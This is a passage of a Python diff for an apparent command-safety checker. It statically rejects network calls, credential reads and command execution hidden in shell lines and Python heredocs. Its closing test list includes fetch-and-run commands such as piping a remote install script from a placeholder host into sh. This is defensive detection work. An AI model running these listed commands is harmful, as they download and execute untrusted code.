"setattr", "builtins.getattr", "builtins.delattr", "builtins.setattr"} + or isinstance(node.func, ast.Name) and any( + python_assigned_callable_alias(node.func.id, lookup, tree) + for lookup in ("getattr", "delattr", "setattr")) + ): + attribute_name_operands.append(node.args[1]) + if any(isinstance(reference, ast.Attribute) + and reference.attr in {"__getattribute__", "__setattr__", "__delattr__"} + for reference in callable_values): + # Bound methods take the name first; class access takes an + # explicit receiver first. Unknown descriptors retain both. + attribute_name_operands.extend(node.args[:2]) + if any(error_operand_sensitive(operand) or error_operand_repr_sensitive(operand, set()) + for operand in attribute_name_operands): + return ("Python sensitive attribute name may surface in an exception " + f"message on line {node.lineno}") + if error_operand_conversion_callable(node.func, set()) and any( + error_operand_sensitive(value) + for value in list(node.args) + + [keyword.value for keyword in node.keywords] + ): + return ( + "Python sensitive value is converted by a call whose failure " + f"message exposes it on line {node.lineno}" + ) + if dotted in {"os.getenv", "os.getenvb"}: + key = node.args[0].value if node.args and isinstance(node.args[0], ast.Constant) else None + if key is None or not isinstance(key, str) or credential_environment_name(key): + return f"Python credential/environment read os.getenv is not allowed on line {node.lineno}" + if dotted in { + "os.environ.get", + "os.environ.setdefault", + "os.environ.pop", + "os.environ.__getitem__", + }: + key = node.args[0].value if node.args and isinstance(node.args[0], ast.Constant) else None + if isinstance(key, str) and credential_environment_name(key): + return ( + "Python credential/environment read through " + f"{dotted} is not allowed on line {node.lineno}" + ) + if ( + isinstance(node.func, ast.Name) + and node.func.id in credential_reader_aliases + ): + key = node.args[0].value if node.args and isinstance(node.args[0], ast.Constant) else None + if key is None or not isinstance(key, str) or credential_environment_name(key): + return ( + "Python credential/environment read through callable alias " + f"{node.func.id!r} is not allowed on line {node.lineno}" + ) + if ( + isinstance(node.func, ast.Name) + and node.func.id in path_reader_aliases + and not python_reviewed_read_path( + path_reader_aliases[node.func.id], tree, parents + ) + ): + return ( + "Python unreviewed Path reader alias call " + f"{node.func.id!r} is not allowed on line {node.lineno}" + ) + output_arguments = list(node.args) + [ + keyword.value for keyword in node.keywords + ] + if python_sensitive_output_sink(node, tree) and any( + python_resolved_local_path_expression( + argument, + tree, + parents, + assignments_by_name, + ) + for argument in output_arguments + ): + return ( + "Python resolved local path is sent to an output/error sink " + f"{dotted or ''!r} on line {node.lineno}" + ) + if python_sensitive_output_sink(node, tree) and any( + error_operand_repr_sensitive(argument, set(), ("__str__", "__repr__", "__format__")) + or python_sensitive_value_expression( + argument, sensitive_names, tree, parents + ) + or ( + any( + isinstance(candidate, ast.Attribute) + and python_dotted_name(candidate) == "os.environ" + for candidate in ast.walk(argument) + ) + and id(argument) + not in getattr(tree, "_issue79_safe_local_format_calls", set()) + ) + for argument in output_arguments + ): + return ( + "Python credential/environment value is sent to an output/error " + f"sink {dotted or ''!r} on line {node.lineno}" + ) + if isinstance(node.func, ast.Attribute) and node.func.attr in {"read", "readline", "readlines"}: + receiver = node.func.value + if isinstance(receiver, ast.Call) and python_dotted_name(receiver.func) == "open": + path = receiver.args[0] if receiver.args else None + if not python_reviewed_read_path(path, tree, parents): + return f"Python unreviewed file read through open on line {node.lineno}" + if ( + isinstance(node.func, ast.Attribute) + and node.func.attr in python_path_filesystem_read_methods + ): + if python_known_non_path_reader_call(node, tree): + continue + if not python_path_receiver_expression( + node.func.value, tree, parents + ): + if python_reviewed_read_path( + node.func.value, tree, parents + ): + continue + return ( + "Python filesystem reader has unresolved Path receiver " + f"for .{node.func.attr} on line {node.lineno}" + ) + if not python_reviewed_path_reader( + node.func.value, node.func.attr, tree, parents + ): + return ( + f"Python unreviewed Path.{node.func.attr} filesystem read " + f"on line {node.lineno}" + ) + if node.func.attr == "samefile" and any( + not python_reviewed_read_path(argument, tree, parents) + for argument in node.args + ): + return ( + "Python Path.samefile filesystem read has an unreviewed " + f"peer path on line {node.lineno}" + ) + return None + + +def reviewed_python_synthetic_git_fixture(node, value, tree, parents): + """Allow only known local-temp Git setup/cleanup fixture argv forms.""" + if not isinstance(value, list) or not value or value[0] != "git": + return False + fixture_bindings = temporary_directory_bindings(node, tree, parents) + cwd = next( + (keyword.value for keyword in node.keywords if keyword.arg == "cwd"), + None, + ) + if ( + not fixture_bindings + or not isinstance(cwd, ast.Name) + or cwd.id not in fixture_bindings + ): + return False + if tuple(value) in reviewed_synthetic_git_fixture_argv: + return True + argument = python_command_argument(node) + if not isinstance(argument, (ast.List, ast.Tuple)): + return False + elements = argument.elts + if len(elements) == 4: + first, second, third, fourth = elements + if ( + isinstance(first, ast.Constant) + and first.value == "git" + and isinstance(second, ast.Constant) + and second.value == "update-index" + and isinstance(third, ast.Name) + and third.id == "flag" + and isinstance(fourth, ast.Constant) + and fourth.value in { + "source.go", + "experiments/g01-scaleset/source.go", + } + ): + return True + if ( + isinstance(first, ast.Constant) + and first.value == "git" + and isinstance(second, ast.Constant) + and second.value == "config" + and isinstance(third, ast.Constant) + and third.value == "core.fsmonitor" + and isinstance(fourth, ast.Call) + and python_dotted_name(fourth.func) == "str" + and len(fourth.args) == 1 + and not fourth.keywords + and isinstance(fourth.args[0], ast.Name) + and fourth.args[0].id == "hook" + ): + return True + return False + + +def reviewed_python_shell_body_expression(node, input_name): + """Accept only the two immutable, preflight-derived synthetic shell bodies.""" + if isinstance(node, ast.Constant): + return isinstance(node.value, str) + if isinstance(node, ast.Name): + allowed = { + "failure_probe": {"preflight"}, + "script": {"path_check", "first_loader"}, + } + return node.id in allowed.get(input_name, set()) or node.id == "marker" + if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Add): + return reviewed_python_shell_body_expression(node.left, input_name) and reviewed_python_shell_body_expression( + node.right, input_name + ) + if not isinstance(node, ast.Call) or node.keywords: + return False + dotted = python_dotted_name(node.func) + if dotted == "str": + return ( + len(node.args) == 1 + and isinstance(node.args[0], ast.Name) + and node.args[0].id == "marker" + ) + if dotted != "shlex.quote" or len(node.args) != 1: + return False + return ( + isinstance(node.args[0], ast.Call) + and python_dotted_name(node.args[0].func) == "str" + and len(node.args[0].args) == 1 + and not node.args[0].keywords + and isinstance(node.args[0].args[0], ast.Name) + and node.args[0].args[0].id == "marker" + ) + + +def reviewed_python_synthetic_shell_input(node, value, tree, parents): + """Inspect, then allow only named shell bodies built inside temp fixtures.""" + if value != ["/bin/bash"]: + return False + fixture_binding = temporary_directory_binding(node, parents) + if fixture_binding is None: + return False + keywords = {keyword.arg: keyword.value for keyword in node.keywords} + input_node = keywords.get("input") + if not isinstance(input_node, ast.Name) or input_node.id not in { + "failure_probe", + "script", + }: + return False + if set(keywords) - {"input", "text", "env", "stdout", "stderr", "check"}: + return False + if not ( + isinstance(keywords.get("text"), ast.Constant) + and keywords["text"].value is True + and python_dotted_name(keywords.get("stdout")) == "subprocess.PIPE" + and python_dotted_name(keywords.get("stderr")) == "subprocess.PIPE" + ): + return False + assignments = [] + for candidate in ast.walk(tree): + if not isinstance(candidate, ast.Assign): + continue + if any( + isinstance(target, ast.Name) and target.id == input_node.id + for target in candidate.targets + ): + assignments.append(candidate) + if len(assignments) != 1: + return False + assignment = assignments[0] + if temporary_directory_binding(assignment, parents) != fixture_binding: + return False + return reviewed_python_shell_body_expression(assignment.value, input_node.id) + + +def python_computed_callable_violation(tree): + """Reject calls whose callable target is returned by another call.""" + hook_parents = {child: parent for parent in ast.walk(tree) + for child in ast.iter_child_nodes(parent)} + for node in ast.walk(tree): + if isinstance(node, (ast.Assign, ast.AnnAssign, ast.AugAssign)): + hook_targets = node.targets if isinstance(node, ast.Assign) else [node.target] + if any(isinstance(target, ast.Attribute) and target.attr == "breakpointhook" + for target in hook_targets): + return f"Python breakpoint hook rebinding is not reviewed on line {node.lineno}" + if isinstance(node, ast.Call) and any(python_unshadowed_builtin_reference( + reference, {"breakpoint"}, tree, hook_parents + ) for reference in python_value_provenance(node.func, tree, hook_parents)): + return f"Python indirect breakpoint execution is not reviewed on line {node.lineno}" + if isinstance(node, ast.Call) and isinstance(node.func, ast.Call): + return ( + "Python heredoc contains an unresolved computed callable target " + f"on line {node.lineno}" + ) + return None + + +def python_command_reference(node, modules, functions): + """Resolve a launcher referenced as a value, not only as an immediate call.""" + if not isinstance(node, (ast.Name, ast.Attribute)): + return None + resolved = python_resolved_name(node, modules, functions) + if resolved in python_command_functions: + return "resolved", resolved + dotted = python_dotted_name(node) + if ( + ( + isinstance(node, ast.Name) + and node.id in functions + and functions[node.id] is None + and node.id.casefold() in { + name.casefold() for name in python_command_leaf_names + } + ) + or ( + isinstance(node, ast.Attribute) + and + dotted is not None + and dotted.rsplit(".", 1)[-1] in python_command_leaf_names + ) + ): + return "unresolved", dotted or node.id + return None + + +def python_callback_command_violation(tree, modules, functions): + """Reject command-capable launchers supplied to higher-order calls.""" + parents = { + child: parent + for parent in ast.walk(tree) + for child in ast.iter_child_nodes(parent) + } + for node in ast.walk(tree): + if not isinstance(node, ast.Call): + continue + values = list(node.args) + [keyword.value for keyword in node.keywords] + for value in values: + for candidate in ast.walk(value): + if ( + isinstance(parents.get(candidate), ast.Call) + and parents[candidate].func is candidate + ): + continue + reference = python_command_reference(candidate, modules, functions) + if reference is None and isinstance(candidate, ast.Call): + indirect = python_indirect_command(candidate, modules) + if indirect is not None: + reference = indirect + if reference is None: + continue + kind, name = reference + if kind == "unresolved": + return ( + "Python heredoc contains an unresolved command-capable " + f"callback/target {name!r} on line {candidate.lineno}" + ) + return ( + "Python heredoc passes command-capable launcher " + f"{name!r} as a callback/target on line {candidate.lineno}" + ) + return None + + +def python_open_aliases(tree): + """Resolve aliases of builtin/io open/open_code for path classification.""" + # Alias/return/container edges cannot create a reader without a source. + has_open_sources = any((isinstance(node, ast.Name) and node.id == "open") + or (isinstance(node, ast.Attribute) and node.attr in {"open", "open_code"}) + or (isinstance(node, ast.ImportFrom) and node.module in {"builtins", "io"} + and any(item.name in {"open", "open_code"} for item in node.names)) + for node in ast.walk(tree)) + tree._issue79_has_open_sources = has_open_sources + if not has_open_sources: + return set() + aliases = set() + assignments = [] + parents = {child: parent for parent in ast.walk(tree) + for child in ast.iter_child_nodes(parent)} + for node in ast.walk(tree): + if isinstance(node, ast.Assign): + assignments.extend((target, node.value) for target in node.targets) + elif isinstance(node, ast.AnnAssign) and node.value is not None: + assignments.append((node.target, node.value)) + elif isinstance(node, ast.NamedExpr): + assignments.append((node.target, node.value)) + elif isinstance(node, (ast.For, ast.AsyncFor, ast.comprehension)): + assignments.extend((target, target) for target in ast.walk(node.target) + if isinstance(target, ast.Name) and isinstance(target.ctx, ast.Store)) + elif isinstance(node, ast.ImportFrom) and node.module in {"builtins", "io"}: + for imported in node.names: + if imported.name in {"open", "open_code"}: + aliases.add(imported.asname or imported.name) + elif isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)): + reader_parameters = list(node.args.posonlyargs) + list(node.args.args) + reader_defaults = list(zip(reader_parameters[-len(node.args.defaults):], node.args.defaults)) if node.args.defaults else [] + reader_defaults.extend(zip(node.args.kwonlyargs, node.args.kw_defaults)) + assignments.extend((ast.Name(id=parameter.arg, ctx=ast.Store()), default) + for parameter, default in reader_defaults if default is not None) + def open_reference(value, seen): + if value is None or id(value) in seen: + return False + seen.add(id(value)) + dotted = python_dotted_name(value) + if dotted in {"open", "builtins.open", "io.open", "io.open_code"}: + return True + if isinstance(value, ast.Name): + if value.id in aliases: + return True + return (any(open_reference(source, seen) for target, source in assignments + if isinstance(target, ast.Name) and target.id == value.id) + or any(open_reference(source, seen) for source in python_value_provenance(value, tree, parents) + if source is not value)) + if isinstance(value, ast.Call): + return any(open_reference(source, seen) + for source in python_local_call_return_values(value, tree, parents)) + if isinstance(value, ast.Subscript): + return any(open_reference(source, seen) + for source in selected_open_values(value.value, value.slice, set())) + if isinstance(value, ast.IfExp): + return any(open_reference(source, seen) for source in (value.body, value.orelse)) + if isinstance(value, ast.BoolOp): + return any(open_reference(source, seen) for source in value.values) + return False + + def selected_open_values(container, key, seen): + if id(container) in seen: + return [] + seen.add(id(container)) + if isinstance(container, (ast.ListComp, ast.SetComp, ast.GeneratorExp, ast.DictComp)): + yielded = container.value if isinstance(container, ast.DictComp) else container.elt + return python_value_provenance(yielded, tree, parents) + if isinstance(container, ast.Call): + return [value for returned in python_local_call_return_values(container, tree, parents) + for value in selected_open_values(returned, key, seen)] + if isinstance(container, ast.Name): + return [value for target, source in assignments + if isinstance(target, ast.Name) and target.id == container.id + for value in selected_open_values(source, key, seen)] + if isinstance(container, (ast.Tuple, ast.List)): + if (isinstance(key, ast.Constant) and isinstance(key.value, int) + and not isinstance(key.value, bool) and -len(container.elts) <= key.value < len(container.elts)): + return [container.elts[key.value]] + return list(container.elts) + if isinstance(container, ast.Dict): + values = [] + for item, value in zip(container.keys, container.values): + if item is None: + values.extend(selected_open_values(value, key, seen)) + elif (not isinstance(item, ast.Constant) or not isinstance(key, ast.Constant) + or item.value == key.value): + values.append(value) + return values + return [] + + for _ in range(len(assignments) + 1): + changed = False + for target, value in assignments: + if not isinstance(target, ast.Name): + continue + is_open = open_reference(value, set()) + if is_open and target.id not in aliases: + aliases.add(target.id) + changed = True + if not changed: + break + return aliases + + +def python_open_callable_reference(value, tree, parents, aliases): + if not getattr(tree, "_issue79_has_open_sources", True): + return False + return any(python_dotted_name(reference) in {"open", "builtins.open", "io.open", "io.open_code"} + or isinstance(reference, ast.Name) and reference.id in aliases + for reference in python_value_provenance(value, tree, parents)) + + +python_path_filesystem_read_methods = { + "open", + "read_text", + "read_bytes", + "readlink", + "iterdir", + "glob", + "rglob", + "walk", + "stat", + "lstat", + "exists", + "is_file", + "is_dir", + "is_symlink", + "is_mount", + "is_socket", + "is_fifo", + "is_block_device", + "is_char_device", + "is_junction", + "samefile", + "owner", + "group", +} + + +def python_path_reader_aliases(tree, parents): + """Resolve aliases for Path methods that inspect filesystem state.""" + aliases = {} + assignments = [] + for node in ast.walk(tree): + if isinstance(node, ast.Assign): + assignments.extend((target, node.value) for target in node.targets) + elif isinstance(node, ast.AnnAssign) and node.value is not None: + assignments.append((node.target, node.value)) + elif isinstance(node, ast.NamedExpr): + assignments.append((node.target, node.value)) + + def reader_receivers(value): + if ( + isinstance(value, ast.Attribute) + and value.attr in python_path_filesystem_read_methods + and not python_known_non_path_reader_call(value, tree) + ): + return [value.value] + if ( + isinstance(value, ast.Call) + and ( + python_dotted_name(value.func) == "getattr" + or ( + isinstance(value.func, ast.Name) + and python_assigned_callable_alias( + value.func.id, "getattr", tree + ) + ) + ) + and len(value.args) in {2, 3} + ): + receivers = [] + for method in python_static_string_values_from_local_calls( + value.args[1], tree, parents + ): + attribute = ast.Attribute( + value=value.args[0], attr=method, ctx=ast.Load() + ) + if ( + method in python_path_filesystem_read_methods + and not python_known_non_path_reader_call(attribute, tree) + ): + receivers.append(value.args[0]) + if len(value.args) == 3: + receivers.extend(reader_receivers(value.args[2])) + return receivers + return [] + + for _ in range(len(assignments) + 1): + changed = False + for target, value in assignments: + if not isinstance(target, ast.Name): + continue + receiver = None + if isinstance(value, ast.Name) and value.id in aliases: + receiver = aliases[value.id] + candidates = reader_receivers(value) + if isinstance(value, ast.Call): + for returned in python_local_call_return_values(value, tree, parents): + candidates.extend(reader_receivers(returned)) + for candidate in candidates: + if receiver is None or not python_reviewed_read_path( + candidate, tree, parents + ): + receiver = candidate + previous = aliases.get(target.id) + if previous is not None and not python_reviewed_read_path( + previous, tree, parents + ): + continue + if receiver is not None and aliases.get(target.id) is not receiver: + aliases[target.id] = receiver + changed = True + if not changed: + break + return aliases + + +def python_unresolved_path_getattr_violation(tree, parents): + """Fail closed when getattr selects an unknown member from a Path receiver.""" + for node in ast.walk(tree): + if not ( + isinstance(node, ast.Call) + and ( + python_dotted_name(node.func) == "getattr" + or ( + isinstance(node.func, ast.Name) + and python_assigned_callable_alias( + node.func.id, "getattr", tree + ) + ) + ) + and len(node.args) in {2, 3} + ): + continue + if python_static_string_values_from_local_calls( + node.args[1], tree, parents + ): + continue + if python_path_receiver_expression(node.args[0], tree, parents): + return ( + "Python getattr has an unresolved member on a Path receiver " + f"on line {node.lineno}" + ) + return None + + +def python_open_read_violation(tree, parents): + """Validate readable open paths before iteration/list/constructor consumers.""" + open_aliases = python_open_aliases(tree) + for node in ast.walk(tree): + if not isinstance(node, ast.Call): + continue + dotted = python_dotted_name(node.func) + if not python_open_callable_reference(node.func, tree, parents, open_aliases): + continue + path = node.args[0] if node.args else next( + ( + keyword.value + for keyword in node.keywords + if keyword.arg in {"file", "path"} + ), + None, + ) + if path is None: + return f"Python open read path is unresolved on line {node.lineno}" + mode = node.args[1] if len(node.args) > 1 else next( + (keyword.value for keyword in node.keywords if keyword.arg == "mode"), + None, + ) + if mode is not None and isinstance(mode, ast.Constant) and isinstance(mode.value, str): + if any(flag in mode.value for flag in ("w", "a", "x", "+")): + continue + elif mode is not None: + return f"Python open read mode is unresolved on line {node.lineno}" + if not python_reviewed_read_path(path, tree, parents): + return ( + "Python readable open path is not reviewed before iteration/list/" + f"constructor consumption on line {node.lineno}" + ) + return None + + +def python_unreviewed_decorator_violation(tree, parents): + """Keep decorators limited to inert reviewed builtin forms.""" + sys_names = python_assigned_module_names(tree, "sys") + for candidate in ast.walk(tree): + if isinstance(candidate, ast.ImportFrom) and candidate.module == "sys" and any( + alias.name in {"modules", "_getframe", "_current_frames", "*"} for alias in candidate.names + ): + return "Python heredoc imports a mutable process namespace handle" + if ( + isinstance(candidate, ast.Call) + and isinstance(candidate.func, ast.Name) + and ( + candidate.func.id in {"globals", "locals"} + or (candidate.func.id == "vars" and not candidate.args) + or python_assigned_callable_alias(candidate.func.id, "globals", tree) + or python_assigned_callable_alias(candidate.func.id, "locals", tree) + or ( + not candidate.args + and python_assigned_callable_alias(candidate.func.id, "vars", tree) + ) + ) + ): + return "Python heredoc accesses the mutable global namespace" + if ( + isinstance(candidate, ast.Attribute) + and candidate.attr in {"modules", "_getframe", "_current_frames"} + and isinstance(candidate.value, ast.Name) + and candidate.value.id in sys_names + ): + return "Python heredoc accesses a mutable process namespace handle" + if isinstance(candidate, ast.Name) and candidate.id == "__builtins__": + return "Python heredoc accesses the mutable builtins namespace" + if isinstance(candidate, ast.Import) and any( + alias.name == "builtins" for alias in candidate.names + ): + return "Python heredoc imports the mutable builtins namespace" + if isinstance(candidate, ast.ImportFrom) and candidate.module == "builtins": + return "Python heredoc imports from the mutable builtins namespace" + reviewed_value = ast.parse("self._process.returncode", mode="eval").body + def shadows_builtin(name): + return any( + ( + isinstance(candidate, ast.Name) + and candidate.id == name + and isinstance(candidate.ctx, ast.Store) + ) + or ( + isinstance(candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)) + and candidate.name == name + ) + or (isinstance(candidate, ast.arg) and candidate.arg == name) + or ( + isinstance(candidate, (ast.Import, ast.ImportFrom)) + and any((alias.asname or alias.name) == name for alias in candidate.names) + ) + for candidate in ast.walk(tree) + ) + property_is_shadowed = shadows_builtin("property") + staticmethod_is_shadowed = shadows_builtin("staticmethod") + staticmethod_aliases = {} + if not staticmethod_is_shadowed: + for candidate in ast.walk(tree): + if ( + isinstance(candidate, ast.Assign) + and len(candidate.targets) == 1 + and isinstance(candidate.targets[0], ast.Name) + and isinstance(candidate.value, ast.Name) + and candidate.value.id == "staticmethod" + ): + staticmethod_aliases[candidate.targets[0].id] = candidate.lineno + for node in ast.walk(tree): + if not isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)): + continue + if not node.decorator_list: + continue + parent = parents.get(node) + decorator = node.decorator_list[0] + reviewed_staticmethod = ( + not staticmethod_is_shadowed + and isinstance(node, ast.FunctionDef) + and isinstance(parent, ast.ClassDef) + and len(node.decorator_list) == 1 + and isinstance(decorator, ast.Name) + and ( + decorator.id == "staticmethod" + or ( + decorator.id in staticmethod_aliases + and staticmethod_aliases[decorator.id] < node.lineno + and sum( + isinstance(candidate, ast.Name) + and candidate.id == decorator.id + and isinstance(candidate.ctx, ast.Store) + for candidate in ast.walk(tree) + ) == 1 + and not any( + ( + isinstance(candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)) + and candidate.name == decorator.id + ) + or (isinstance(candidate, ast.arg) and candidate.arg == decorator.id) + or ( + isinstance(candidate, (ast.Import, ast.ImportFrom)) + and any( + (alias.asname or alias.name) == decorator.id + for alias in candidate.names + ) + ) + for candidate in ast.walk(tree) + ) + ) + ) + ) + reviewed_property = ( + not property_is_shadowed + and isinstance(node, ast.FunctionDef) + and isinstance(parent, ast.ClassDef) + and parent.name == "GoAliasPopen" + and node.name == "returncode" + and len(node.decorator_list) == 1 + and isinstance(node.decorator_list[0], ast.Name) + and node.decorator_list[0].id == "property" + and len(node.args.args) == 1 + and node.args.args[0].arg == "self" + and not node.args.posonlyargs + and not node.args.kwonlyargs + and node.args.vararg is None + and node.args.kwarg is None + and not node.args.defaults + and len(node.body) == 1 + and isinstance(node.body[0], ast.Return) + and ast.dump(node.body[0].value, include_attributes=False) + == ast.dump(reviewed_value, include_attributes=False) + ) + if not reviewed_property and not reviewed_staticmethod: + return f"Python heredoc has an unreviewed decorator on line {node.lineno}" + return None + + +def inspect_python_heredoc(body, safe_marker): + try: + tree = ast.parse(body, filename="") + except SyntaxError as error: + return f"Python heredoc is not parseable: {error}" + modules, functions, unresolved_imports = python_import_bindings(tree) + if unresolved_imports: + return ( + "Python heredoc contains an unresolved command-capable star import " + "on line(s) " + + ",".join(str(line) for line in unresolved_imports) + ) + network_import_violation = python_network_import_violation(tree) + if network_import_violation: + return network_import_violation + import_path_mutation_violation = python_import_path_mutation_violation(tree) + if import_path_mutation_violation: + return import_path_mutation_violation + mappings = python_mapping_bindings(tree, modules, functions) + mapping_lookup_violation = python_mapping_lookup_alias_violation(tree, mappings) + if mapping_lookup_violation: + return mapping_lookup_violation + literal_bindings = python_literal_bindings(tree) + dynamic_bindings, unresolved_dynamic_bindings = python_dynamic_execution_bindings(tree) + parents = { + child: parent + for parent in ast.walk(tree) + for child in ast.iter_child_nodes(parent) + } + module_escape_violation = python_module_value_escape_violation(tree, parents, safe_marker) + if module_escape_violation: + return module_escape_violation + working_directory_violation = python_working_directory_change_violation( + tree, parents + ) + if working_directory_violation: + return working_directory_violation + git_origin_capture_violation = python_git_origin_capture_violation(tree, parents) + if git_origin_capture_violation: + return git_origin_capture_violation + sink_storage_violation = python_sensitive_sink_storage_violation(tree, parents) + if sink_storage_violation: + return sink_storage_violation + decorator_violation = python_unreviewed_decorator_violation(tree, parents) + if decorator_violation: + return decorator_violation + subprocess_os_violation = python_subprocess_os_reexport_violation(tree) + if subprocess_os_violation: + return subprocess_os_violation + class_command_violation = python_class_command_attribute_violation( + tree, modules, functions + ) + if class_command_violation: + return class_command_violation + sensitive_read_violation = python_sensitive_read_violation(tree, parents) + if sensitive_read_violation: + return sensitive_read_violation + guarded_child_kwargs_violation = python_guarded_child_kwargs_violation( + tree, modules, functions + ) + if guarded_child_kwargs_violation: + return guarded_child_kwargs_violation + child_environment_violation = python_child_environment_violation( + tree, modules, functions, parents + ) + if child_environment_violation: + return child_environment_violation + computed_callable_violation = python_computed_callable_violation(tree) + if computed_callable_violation: + return computed_callable_violation + callback_command_violation = python_callback_command_violation( + tree, modules, functions + ) + if callback_command_violation: + return callback_command_violation + open_read_violation = python_open_read_violation(tree, parents) + if open_read_violation: + return open_read_violation + unknown_os_call_violation = python_unknown_os_call_violation(tree) + if unknown_os_call_violation: + return unknown_os_call_violation + filesystem_violation = python_filesystem_mutation_violation(tree, parents) + if filesystem_violation: + return filesystem_violation + signal_violation = python_process_signal_violation(tree, parents) + if signal_violation: + return signal_violation + indirect_execution_violation = python_indirect_execution_violation( + tree, parents, safe_marker + ) + if indirect_execution_violation: + return indirect_execution_violation + dynamic_calls = [] + for node in ast.walk(tree): + if not isinstance(node, ast.Call): + continue + dotted = python_dotted_name(node.func) + if dotted in python_network_functions: + return ( + "Python heredoc contains a network-capable call " + f"{dotted!r} on line {node.lineno}" + ) + dynamic_target = python_dynamic_execution_target( + node.func, dynamic_bindings, unresolved_dynamic_bindings + ) + if dynamic_target is not None: + if reviewed_python_exec_call(node, safe_marker, tree): + continue + if reviewed_python_import_call(node, safe_marker): + continue + return ( + "Python heredoc contains a dynamic execution primitive " + f"{dynamic_target!r} on line {node.lineno}" + ) + mapping = python_mapping_command(node.func, mappings, modules, functions) + indirect = python_indirect_command(node.func, modules) + if mapping is not None: + mapping_kind, mapping_value = mapping + if mapping_kind == "unresolved": + return ( + "Python heredoc contains an unresolved mapping-based " + "command-capable call through " + f"{mapping_value!r} on line {node.lineno}" + ) + if mapping_kind == "safe": + continue + resolved = mapping_value + elif indirect is not None: + indirect_kind, indirect_value = indirect + if indirect_kind == "unresolved": + return ( + "Python heredoc contains an unresolved indirect " + "command-capable call through " + f"{indirect_value!r} on line {node.lineno}" + ) + resolved = indirect_value + else: + call_target_kind, resolved = python_call_target( + node.func, modules, functions + ) + if call_target_kind == "unresolved": + return ( + "Python heredoc contains an unresolved command-capable " + f"__call__ target {resolved!r} on line {node.lineno}" + ) + if dotted and dotted in functions and resolved is None: + if ( + dotted == "value" + and any( + isinstance(parent, (ast.FunctionDef, ast.AsyncFunctionDef)) + and parent.name == "python_literal_bindings" + for parent in _python_parent_chain(node, parents) + ) + ): + continue + return ( + "Python heredoc contains an unresolved command-capable call " + f"{dotted!r} on line {node.lineno}" + ) + if resolved not in python_command_functions: + if dotted and dotted.rsplit(".", 1)[-1] in python_command_leaf_names: + return ( + "Python heredoc contains an unresolved command-capable call " + f"{dotted!r} on line {node.lineno}" + ) + continue + argument = python_command_argument(node) + literal = python_literal_command(argument) + if literal is None and isinstance(argument, ast.Name): + bound = literal_bindings.get(argument.id) + if isinstance(bound, str): + literal = "shell", bound + elif isinstance(bound, list) and bound: + literal = "argv", bound + if literal is None: + if reviewed_python_dynamic_call( + node, argument, tree, parents, literal_bindings + ): + continue + dynamic_calls.append(node.lineno) + continue + kind, value = literal + if kind == "argv-dynamic": + if reviewed_python_dynamic_call( + node, argument, tree, parents, literal_bindings + ): + continue + dynamic_calls.append(node.lineno) + continue + if kind == "argv" and reviewed_python_synthetic_git_fixture( + node, value, tree, parents + ): + continue + if kind == "argv" and reviewed_python_synthetic_shell_input( + node, value, tree, parents + ): + continue + segments = shell_token_segments(value) if kind == "shell" else [value] + for segment in segments: + violation = forbidden_shell_command(segment) + if violation: + return f"Python heredoc command: {violation}" + if dynamic_calls: + return ( + "Python heredoc contains a dynamic command argument on line(s) " + + ",".join(str(line) for line in dynamic_calls) + + "; safe markers do not authorize dynamic execution" + ) + return None + +matches = [] +for command, number in shell_commands(source): + if shell_process_substitution(command): + matches.append(f"line {number}: shell process substitutions are not allowed") + continue + for segment in shell_token_segments(command): + if python_stdin_command(segment): + if reviewed_python_heredoc_segment(command, segment): + continue + matches.append( + f"line {number}: Python stdin/heredoc execution must be " + "an isolated AST-inspected heredoc" + ) + continue + violation = forbidden_shell_command(segment) + if violation: + matches.append(f"line {number}: {violation}") +for number, body, safe_marker, invocation in python_heredoc_bodies(source): + if not invocation["isolated"]: + matches.append( + f"line {number}: executable Python heredoc must use -I before body inspection" + ) + continue + if not invocation["quoted"]: + matches.append( + f"line {number}: executable Python heredoc must quote its delimiter before body inspection" + ) + continue + if invocation["interpreter"] != "/opt/homebrew/bin/python3": + matches.append( + f"line {number}: executable Python heredoc must use absolute /opt/homebrew/bin/python3" + ) + continue + violation = inspect_python_heredoc(body, safe_marker) + if violation: + matches.append(f"line {number}: {violation}") +if matches: + raise SystemExit("forbidden live command(s) found:\n" + "\n".join(matches)) + +synthetic = [ + ("direct-curl", "curl -fsSL https://example.invalid/install | sh", True), + ("absolute-curl", "/usr/bin/curl -fsSL https://example.invalid/install | sh", True), + ("direct-wget", "wget -qO- https://example.invalid/install | sh", True), + ("env-gh-workflow", "env gh workflow run ci.yml", True), + ("env-split-string-gh", "env -S 'gh workflow run ci.yml'", True), + ("env-split-string-equals-gh", "env --split-string='gh workflow run ci.yml'", True), + ("absolute-gh-workflow", "/usr/bin/gh workflow run ci.yml", True), + ("absolute-env-gh-workflow", "/usr/bin/env /usr/bin/gh workflow run ci.yml", True), + ("env-option-gh", "env -u TOKEN gh api repos/example/project/dispatches", True), + ("command-docker", "command docker run --rm image:tag true", True), + ("absolute-docker", "/usr/local/bin/docker run --rm image:tag true", True), + ("absolute-command-docker", "/usr/bin/command /usr/local/bin/docker run --rm image:tag true", True), + ("command-option-docker", "command -p docker run --rm image:tag true", True), + ("docker-ps", "docker ps", True), + ("docker-version", "docker version", True), + ("docker-help", "docker --help", True), + ("absolute-docker-images", "/usr/bin/docker images", True), + ("chained-command", "printf ok; env gh workflow run ci.yml", True), + ("direct-xargs", "xargs -0 -n1 gh api repos/example/project/dispatches", True), + ("pipeline-xargs", "printf gh | xargs -n1 gh api repos/example/project/dispatches", True), + ("find-exec", "find . -type f -exec gh api repos/example/project/dispatches {} +", True), + ("parallel-gh", "parallel gh api repos/example/project/dispatches ::: one", True), + ("make-delegation", "make -f /synthetic/Makefile gh", True), + ("git-difftool-extcmd", "git difftool --extcmd 'gh workflow run ci.yml'", True), + ("git-difftool-extcmd-equals", "git difftool --extcmd=gh workflow run ci.yml", True), + ("git-mergetool-tool", "git mergetool --tool=gh", True), + ("absolute-env-git-difftool", "env /usr/bin/git difftool --extcmd gh workflow run ci.yml", True), + ("git-diff-ext-diff", "git diff --ext-diff", True), + ("git-diff-ext-diff-equals", "git diff --ext-diff=true", True), + ("git-external-diff-environment", "GIT_EXTERNAL_DIFF=/synthetic/helper git diff", True), + ("git-diff-external-config", "git -c diff.external=/synthetic/helper diff", True), + ("git-config-diff-external", "git config diff.external /synthetic/helper", True), + ("git-config-env-alias", "git --config-env 